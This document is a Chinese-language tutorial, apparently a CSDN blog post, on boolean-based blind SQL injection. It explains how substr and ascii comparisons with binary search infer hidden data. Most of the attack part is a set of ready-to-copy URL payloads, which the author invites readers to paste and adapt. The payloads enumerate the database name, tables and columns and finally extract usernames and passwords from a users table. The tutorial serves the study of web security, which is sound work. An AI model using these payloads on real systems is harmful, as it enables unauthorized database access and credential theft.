一篇文章带你搞定布尔盲注

盲注的定义:

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中具体返回值的情况下,对数据库中的内容进行猜解,实行sql注入

1.盲注分类:

布尔盲注,时间盲注,报错盲注

2.布尔盲注的判断:

联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注

比如:

一篇文章带你搞定布尔盲注_第1张图片

这里可以看出这个页面并没有数据显示,所以说只能进行布尔盲注了。

闭合方式判断:一篇文章带你搞定SQL注入闭合方式的判断(有报错回显)-CSDN博客

一篇文章带你搞定SQL注入闭合方式判断(无回显)-CSDN博客

可以直接去看我的两篇文章,基本包你搞定%99的闭合方式判断。

布尔盲注基本原理:

1.substr(( ),1,1)表示从第1个字母开始,一次读取一个字母。

之后不断更改1,从第二个或者第三个开始读取,一次一个字母,就可以爆出想要的数据

2.ascii是把一个字符转化为一个数字,因为使用到盲注时,页面都是没有回显的,把你所要执行的代码得出的数据库第一个字母变成数字,再通过二分法来判断具体数字,因为具体数据相当于是已知的,所以可以反推数据库字母。

实战代码,在实战过程中可以直接将下列代码复制使用,自行更改数据即可。

1.爆库

?id=1'and ascii(substr((select database()),1,1))>115--+

解释一下,这里使用二分法是不断更改115这个数字,and后面如果为真,那么就会显示you are in......

一篇文章带你搞定布尔盲注_第2张图片

这里可以看出大于114是满足条件的,

一篇文章带你搞定布尔盲注_第3张图片

如果改变数字,变成115,那就没有回显,是一个假页面,那就证明数据库第一个字母对应的ascii数字是115

2.剩下的代码,自已拿去一一使用就好。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。

​​​​

你可能感兴趣的:(数据库,sql,安全)